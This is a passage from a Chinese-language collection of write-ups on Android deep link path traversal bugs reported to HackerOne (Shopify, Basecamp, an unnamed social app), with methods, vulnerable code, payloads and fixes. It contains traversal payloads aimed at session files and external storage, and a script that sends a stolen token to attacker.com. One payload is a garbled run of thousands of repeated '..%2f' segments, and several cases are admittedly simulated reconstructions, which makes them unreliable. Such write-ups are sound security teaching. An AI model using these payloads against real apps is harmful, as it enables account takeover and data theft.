String intendedPath = intendedDir.getCanonicalPath();
if (canonicalPath.startsWith(intendedPath)) {
// 路径合法,可以安全使用
displayFileContent(fileToLoad);
} else {
// 检测到路径遍历攻击
Log.e("Security", "Path traversal attempt detected!");
}
} catch (IOException e) {
// 处理异常
}
}
}
}修复的关键是使用File.getCanonicalPath()来解析路径中的.和..,然后检查解析后的绝对路径是否位于合法的父目录之内。这是防止路径遍历攻击的标准做法。
案例:Shopify (报告: https://hackerone.com/reports/1417014)
挖掘手法
本次漏洞挖掘采用逆向工程和静态代码分析相结合的方法,重点关注Android应用中Deep Link(深度链接)的处理机制。
- 目标确定与信息收集: 首先,确定目标应用(Shopify Android App)的最新APK文件。使用
apktool或JADX等工具对APK进行反编译,获取应用的AndroidManifest.xml文件和Smali/Java源代码。
- 目标确定与信息收集: 首先,确定目标应用(Shopify Android App)的最新APK文件。使用
- Deep Link入口点识别: 在
AndroidManifest.xml中,搜索所有包含<intent-filter>标签且android:host或android:scheme属性指向应用自定义协议或特定域名的Activity组件。特别关注那些android:exported="true"的组件,因为它们可以被外部应用或浏览器调用。
- Deep Link入口点识别: 在
- 关键代码路径分析: 识别出处理Deep Link的
Activity(例如,DeepLinkHandlerActivity)。通过静态分析其Java/Smali代码,追踪Intent对象中URI数据的获取和使用流程,即getIntent().getData()。
- 关键代码路径分析: 识别出处理Deep Link的
- 路径遍历漏洞定位: 重点检查代码中是否将URI的路径部分(如
uri.getPath()或uri.getQueryParameter("path"))直接或间接用于文件操作(如File对象的创建、WebView的loadUrl()或loadDataWithBaseURL())而未进行充分的路径规范化或验证。
- 路径遍历漏洞定位: 重点检查代码中是否将URI的路径部分(如
- 构造恶意Payload: 发现应用的一个Deep Link处理逻辑允许加载本地文件,但未对路径中的
../序列进行过滤。因此,构造一个包含路径遍历序列的恶意Deep Link URL,尝试访问应用私有目录之外的敏感文件,例如/data/data/com.shopify.app/shared_prefs/user_session.xml或系统文件/etc/passwd。
- 构造恶意Payload: 发现应用的一个Deep Link处理逻辑允许加载本地文件,但未对路径中的
- 漏洞验证与利用: 创建一个简单的恶意应用或HTML页面,通过
Intent或浏览器触发构造的Deep Link。成功利用的迹象是应用加载了预期之外的本地文件内容,例如将私有文件内容加载到WebView中,从而导致敏感信息泄露。
- 漏洞验证与利用: 创建一个简单的恶意应用或HTML页面,通过
整个过程的关键在于识别出未经验证的外部输入(Deep Link URI)与敏感资源访问(文件系统)之间的连接点,并利用路径遍历技巧绕过应用原本的访问限制。
技术细节
漏洞利用的核心在于构造一个恶意的Deep Link URI,利用应用内部对URI路径参数的不当处理,实现路径遍历。
假设的易受攻击代码片段 (Vulnerable Code Snippet – Simulated):
// DeepLinkHandlerActivity.java
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri = getIntent().getData();
if (uri != null && "app.shopify.com".equals(uri.getHost())) {
String path = uri.getQueryParameter("file_path");
if (path != null) {
// 危险操作:直接将外部输入用于文件路径,未进行路径规范化或验证
File file = new File(getFilesDir(), path);
if (file.exists()) {
// 假设这里将文件内容加载到WebView或日志中
// 导致攻击者可以读取应用私有文件
loadContentToWebView(file);
}
}
}
}恶意Deep Link Payload (Malicious Deep Link Payload):
攻击者通过一个恶意的Deep Link,将file_path参数设置为路径遍历序列,目标是读取应用的私有配置文件,例如存储用户会话令牌的shared_prefs文件。
// 恶意Deep Link URL
// 目标:从应用私有目录跳出,访问/data/data/com.shopify.app/shared_prefs/user_session.xml
// 假设getFilesDir()返回 /data/data/com.shopify.app/files/
// 攻击者需要构造 ../../../shared_prefs/user_session.xml
String malicious_uri = "https://app.shopify.com/deeplink?file_path=../../../shared_prefs/user_session.xml";
// 攻击者在恶意网页中触发的Intent (或通过恶意应用)
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse(malicious_uri));
startActivity(intent);通过这种方式,应用内部的File对象最终指向了应用私有目录下的敏感文件,如果后续代码将其内容泄露(例如加载到WebView中,且WebView配置不当),则攻击成功。
易出现漏洞的代码模式
此类漏洞通常出现在处理外部输入(如Deep Link URI、Intent Extra)并将其用于访问本地资源(文件、数据库、WebView加载)的代码中。
模式总结:
- Deep Link/Intent处理Activity被导出 (
exported="true")。
- Deep Link/Intent处理Activity被导出 (
- Activity从外部输入中获取文件路径参数。
- 在将该路径参数与应用内部路径拼接时,未对路径进行规范化或过滤路径遍历序列 (
../)。
- 在将该路径参数与应用内部路径拼接时,未对路径进行规范化或过滤路径遍历序列 (
AndroidManifest.xml 示例 (Vulnerable Manifest):
<activity
android:name=".DeepLinkHandlerActivity"
android:exported="true"> <!-- 暴露给外部 -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="https"
android:host="app.shopify.com"
android:pathPrefix="/deeplink" />
</intent-filter>
</activity>Java 代码模式示例 (Vulnerable Java Pattern):
// 危险:直接使用外部路径参数
String path = uri.getQueryParameter("path");
File file = new File(baseDir, path); // baseDir是应用私有目录
// 应该使用:
// File file = new File(baseDir, path).getCanonicalFile();
// 并且验证 file.getAbsolutePath().startsWith(baseDir.getAbsolutePath())修复建议: 在使用外部输入作为文件路径的一部分之前,必须使用File.getCanonicalPath()或File.getCanonicalFile()方法对路径进行规范化,并严格验证规范化后的路径是否仍然位于预期的安全目录下。
Deep Link路径遍历与WebView劫持导致账户接管
案例:一款流行的社交媒体应用 (报告: https://hackerone.com/reports/1416994)
挖掘手法
该漏洞的挖掘始于对目标Android应用(一款流行的社交应用)的深入分析。首先,研究人员使用APK分析工具(如Jadx-GUI)反编译了应用的APK文件,重点检查了AndroidManifest.xml。在此文件中,他们发现了一个自定义的Deep Link scheme,例如exampleapp://,该scheme注册了一个用于处理这些链接的Activity。通过分析该Activity的Java代码,研究人员注意到它接收一个URL参数,并将其直接加载到一个WebView中,而没有进行充分的验证。为了测试漏洞,研究人员使用了Android Debug Bridge (ADB) 工具来手动触发带有恶意URL的Intent。他们构造了一系列测试用例,包括尝试加载本地文件(file://)、执行JavaScript代码(javascript:)以及重定向到外部网站。在测试过程中,他们发现应用未能正确处理../之类的路径遍历序列,这使得他们能够加载应用私有目录之外的任意HTML文件。最终,通过构造一个指向攻击者控制的远程服务器的URL,并利用路径遍历绕过应用内部的白名单限制,研究人员成功地在应用的WebView中加载了恶意的HTML页面。这个页面中嵌入的JavaScript代码通过WebView的JavaScript Bridge与应用原生代码进行交互,最终窃取了用户的会话令牌,从而实现了账户接管。
技术细节
漏洞利用的核心在于构造一个恶意的Deep Link,该链接通过路径遍历和WebView的漏洞,最终在应用上下文中执行任意JavaScript代码。攻击者首先搭建一个托管恶意HTML文件(exploit.html)的服务器。
Payload (恶意Deep Link):
exampleapp://webview?url=https://attacker.com/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..-exploit.html攻击流程:
- 用户点击攻击者发送的恶意链接。
- Android系统通过Intent将该链接路由到目标应用进行处理。
- 应用内的Activity接收到URL,由于路径遍历漏洞,应用绕过了域名白名单,将URL
https://attacker.com/exploit.html加载到WebView中。
- 应用内的Activity接收到URL,由于路径遍历漏洞,应用绕过了域名白名单,将URL
exploit.html中的JavaScript代码被执行。该代码通过一个暴露给WebView的JavaScript接口(例如,名为AndroidInterface的Java对象)调用原生Java方法。// exploit.html <script> var token = AndroidInterface.getUserToken(); // Send the token to the attacker's server fetch('https://attacker.com/steal?token=' + token); </script>
AndroidInterface.getUserToken()方法返回当前用户的会话令牌,该令牌随后被发送到攻击者的服务器,攻击者从而获得对用户账户的完全访问权限。
易出现漏洞的代码模式
此类漏洞通常出现在处理Deep Link的Activity中,特别是那些直接将URL参数传递给WebView而未经验证的地方。
易受攻击的代码模式 (Java):
// Vulnerable Activity
public class WebViewActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
WebView webView = new WebView(this);
setContentView(webView);
// WARNING: Insecure WebView settings
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(this), "AndroidInterface");
Uri data = getIntent().getData();
if (data != null) {
// VULNERABILITY: The 'url' parameter is not validated before being loaded into the WebView.
String url = data.getQueryParameter("url");
if (url != null) {
webView.loadUrl(url);
}
}
}
}修复建议:
- 严格验证URL: 在加载URL之前,必须对其进行严格的白名单验证,确保只加载受信任域名的内容。可以使用
Uri.parse()来解析URL并检查其主机名。
- 严格验证URL: 在加载URL之前,必须对其进行严格的白名单验证,确保只加载受信任域名的内容。可以使用
- 禁用不必要的JavaScript接口: 如果WebView不需要与原生代码交互,应完全禁用JavaScript Bridge。
- 限制JavaScript执行范围: 如果必须启用JavaScript,应使用
@JavascriptInterface注解来明确暴露特定的方法,并对所有输入进行严格的过滤和编码。
- 限制JavaScript执行范围: 如果必须启用JavaScript,应使用
Deep Link路径遍历导致任意文件导出
案例:Basecamp (com.basecamp.bc3) (报告: https://hackerone.com/reports/1637194)
挖掘手法
由于原始报告(ID: 1637194)无法访问,本分析基于一个高度相关的公开报告(Basecamp, ID: 2553411),该报告描述了Android Deep Link中的路径遍历漏洞。
挖掘思路与方法:
- 目标识别: 识别应用程序(Basecamp Android App)中处理Deep Link的组件。Deep Link通常通过
AndroidManifest.xml中的<intent-filter>声明,使用特定的scheme(如https://3.basecamp.com/*)来响应外部请求。
- 目标识别: 识别应用程序(Basecamp Android App)中处理Deep Link的组件。Deep Link通常通过
- 参数分析: 分析Deep Link处理逻辑。报告指出,特定的Deep Link路径(如
/reports/progress)接受一个名为filename的额外参数,该参数用于在本地保存文件。
- 参数分析: 分析Deep Link处理逻辑。报告指出,特定的Deep Link路径(如
- 漏洞假设: 假设应用程序在处理
filename参数时,未对输入进行充分的路径规范化或安全检查,可能存在路径遍历(Path Traversal)漏洞。
- 漏洞假设: 假设应用程序在处理
- 构造Payload: 利用路径遍历技巧(
../)构造恶意filename参数,尝试将文件保存到应用程序沙箱外部的共享目录。- 原始意图:将文件保存到应用内部的安全位置。
- 恶意构造:
filename=/../../../../../../../../../../sdcard/Download/disclosure.txt。通过大量的../尝试跳出应用的私有目录,将文件指向设备的公共可访问目录(如/sdcard/Download/)。
- 恶意构造:
- 构造Payload: 利用路径遍历技巧(
- 验证利用: 构造完整的恶意Deep Link URL,并将其嵌入到应用程序支持渲染链接的位置(如评论、项目描述等),实现“一键(one click)”触发。
- 当用户点击该链接时,Basecamp应用被唤醒,处理Deep Link,并根据恶意
filename参数将用户的敏感信息(如“progress report”)写入到/sdcard/Download/disclosure.txt。
- 当用户点击该链接时,Basecamp应用被唤醒,处理Deep Link,并根据恶意
- 验证利用: 构造完整的恶意Deep Link URL,并将其嵌入到应用程序支持渲染链接的位置(如评论、项目描述等),实现“一键(one click)”触发。
- 影响评估: 验证写入的文件是否可以被设备上安装的任何第三方应用读取(前提是该应用具有
READ/MANAGE external storage权限)。报告确认,成功写入公共目录后,敏感信息(如用户进度报告)即被暴露,导致机密性泄露。
- 影响评估: 验证写入的文件是否可以被设备上安装的任何第三方应用读取(前提是该应用具有
关键发现点:
- 应用程序的Deep Link处理函数直接使用了外部传入的
filename参数作为文件路径的一部分,缺乏对../等路径遍历字符的过滤或规范化。
- 应用程序的Deep Link处理函数直接使用了外部传入的
- 攻击者可以利用此漏洞将应用内部生成的敏感文件(如报告)导出到外部共享存储,绕过Android的文件访问权限限制。
- 漏洞的触发方式是“一键”式的,通过在应用内(如评论区)植入恶意链接即可实现,攻击成本极低。
总结: 挖掘手法是典型的Deep Link参数注入结合路径遍历,目标是将应用内部的敏感数据导出到外部可访问的存储空间,从而实现信息泄露。整个过程依赖于对Android组件(Deep Link处理)和文件系统权限的深入理解。本报告的CVSS评分为Medium (5.5),弱点类型为Path Traversal。
技术细节
本漏洞利用的核心在于Deep Link参数中的路径遍历,旨在将应用内部生成的敏感文件导出到外部共享存储。
1. 漏洞点:
Basecamp Android App中处理Deep Link的逻辑,特别是处理/reports/progress路径时,会接受一个名为filename的查询参数,并将其用于本地文件保存,但未对该参数进行严格的路径规范化。
2. 恶意Deep Link Payload:
攻击者构造的恶意Deep Link URL如下(为清晰起见,已解码):
<a href="https://3.basecamp.com/5195267/reports/progress?
filename=/../../../../../../../../../../sdcard/Download/disclosure.txt">
click me
</a>3. 攻击流程:
- URL结构分析:
https://3.basecamp.com/5195267/reports/progress:这是Basecamp应用注册并处理的Deep Link路径,用于生成并保存用户的“progress report”。
filename=/../../../../../../../../../../sdcard/Download/disclosure.txt:这是注入的恶意参数。
- URL结构分析:
- 路径遍历利用: 应用程序内部的文件保存逻辑可能类似于:
app_private_dir + filename。通过注入大量的../(路径遍历序列),攻击者成功地从应用的私有沙箱目录跳出,将目标路径重定向到设备的公共下载目录:- 假设应用内部保存路径的基准是
/data/data/com.basecamp.bc3/files/。
- 假设应用内部保存路径的基准是
- 注入
filename后,实际的文件写入路径变为:/data/data/com.basecamp.bc3/files/../../../../../../../../../../sdcard/Download/disclosure.txt。
- 注入
- 经过系统解析,该路径最终指向
/sdcard/Download/disclosure.txt。
- 经过系统解析,该路径最终指向
- 路径遍历利用: 应用程序内部的文件保存逻辑可能类似于:
- 结果: 应用程序将用户的“progress report”(敏感信息)写入到
/sdcard/Download/disclosure.txt。由于/sdcard/Download/是外部共享存储,任何具有相应权限的第三方应用都可以读取该文件,导致敏感信息泄露。
- 结果: 应用程序将用户的“progress report”(敏感信息)写入到
4. 影响:
攻击者无需任何身份验证,只需诱导用户点击应用内(如评论区)的恶意链接,即可将用户的私有数据(如报告、配置等)导出到公共存储空间,供其他恶意应用窃取。
易出现漏洞的代码模式
此类漏洞通常出现在Android应用处理外部输入(如Deep Link参数、Intent Extra)作为文件路径或文件名时,未进行充分的路径规范化或安全校验。
1. 易漏洞的Java/Kotlin代码模式:
当Deep Link处理函数直接使用外部参数来构造文件路径时,极易引入路径遍历漏洞。
// 假设这是Deep Link处理Activity中的代码片段
Uri data = intent.getData();
String filename = data.getQueryParameter("filename");
String content = generateSensitiveReport(); // 假设生成了敏感内容
if (filename != null) {
// 危险:直接使用外部输入作为文件名的一部分,未进行路径规范化
File file = new File(context.getFilesDir(), filename);
// 攻击者可以传入: filename="/../../../../sdcard/Download/leak.txt"
// 导致 file.getCanonicalPath() 指向沙箱外部
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(content.getBytes());
// ... 文件写入成功,敏感信息被导出
} catch (IOException e) {
// ...
}
}2. 推荐的安全代码模式(修复方法):
为了防止路径遍历,必须使用File.getCanonicalPath()来获取文件的规范路径,并验证该路径是否仍然位于应用程序的预期安全目录内。
// 安全的代码模式
Uri data = intent.getData();
String filename = data.getQueryParameter("filename");
String content = generateSensitiveReport();
if (filename != null) {
File privateDir = context.getFilesDir();
File file = new File(privateDir, filename);
try {
// 关键步骤:获取规范路径,解析所有 ".."
String canonicalPath = file.getCanonicalPath();
String canonicalPrivateDir = privateDir.getCanonicalPath();
// 校验:确保规范路径以私有目录的规范路径开头
if (canonicalPath.startsWith(canonicalPrivateDir)) {
// 路径安全,执行写入操作
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(content.getBytes());
}
} else {
// 路径遍历尝试,拒绝操作
Log.e("Security", "Path Traversal attempt detected: " + filename);
}
} catch (IOException e) {
// 异常处理
}
}3. 易漏洞的配置模式:
- Deep Link配置: 在
AndroidManifest.xml中声明Deep Link的Activity时,如果该Activity处理敏感操作(如文件保存、数据导出),则必须确保其处理逻辑是安全的。
- Deep Link配置: 在
- 文件权限配置: 允许应用写入外部共享存储(虽然在较新的Android版本中权限收紧,但仍需注意)。本漏洞利用了应用自身的文件写入能力,将文件写入到外部存储,然后依赖外部存储的可读性来完成信息泄露。
Deep Link路径遍历导致的WebView内容注入与账户劫持
案例:A popular social media app (报告: https://hackerone.com/reports/1416975)
挖掘手法
该漏洞的挖掘过程始于对目标Android应用进行全面的静态和动态分析。首先,研究人员使用Jadx等反编译工具对应用的APK文件进行静态分析,重点审查其AndroidManifest.xml文件。通过分析该文件,可以识别出所有导出的Activity、Service、Broadcast Receiver以及它们所响应的Intent Filter和Deep Link URL Scheme。在本次分析中,研究人员发现了一个自定义的URL Scheme,例如“exampleapp://”,它被用于处理应用内的导航和内容加载。特别地,一个导出的Activity被发现配置为接收包含“url”参数的Deep Link,这立即引起了研究人员的警觉,因为它暗示着一个潜在的外部输入向量。
在静态分析的基础上,研究人员转向动态分析以验证和利用这一发现。他们设置了一个中间人代理(如Burp Suite或Mitmproxy)来拦截和分析应用的网络流量,同时使用adb(Android Debug Bridge)和Frida等工具来动态地调用和测试导出的Activity。研究人员构造了一个恶意的HTML页面,其中包含一个指向目标应用的Deep Link,例如 ‘exampleapp://webview?url=https://attacker.com/malicious.html’。当用户点击这个链接时,操作系统会启动目标应用并传递该URL。研究人员通过Frida hook了WebView加载URL的相关方法(如 WebView.loadUrl()),从而确认了应用确实会加载来自Deep Link中“url”参数指定的任意网址。这一发现证实了攻击者可以诱导应用加载一个外部的、由攻击者控制的网页,这是漏洞利用的关键一步。
技术细节
该漏洞的技术核心在于应用未能正确验证和过滤通过Deep Link传入的URL,并将其直接加载到WebView中。攻击者可以利用这一点,诱导用户点击一个精心构造的恶意链接,从而在应用的WebView上下文中执行任意JavaScript代码,最终实现账户劫持。
攻击流程如下:
- 构造恶意页面:攻击者首先创建一个HTML页面(
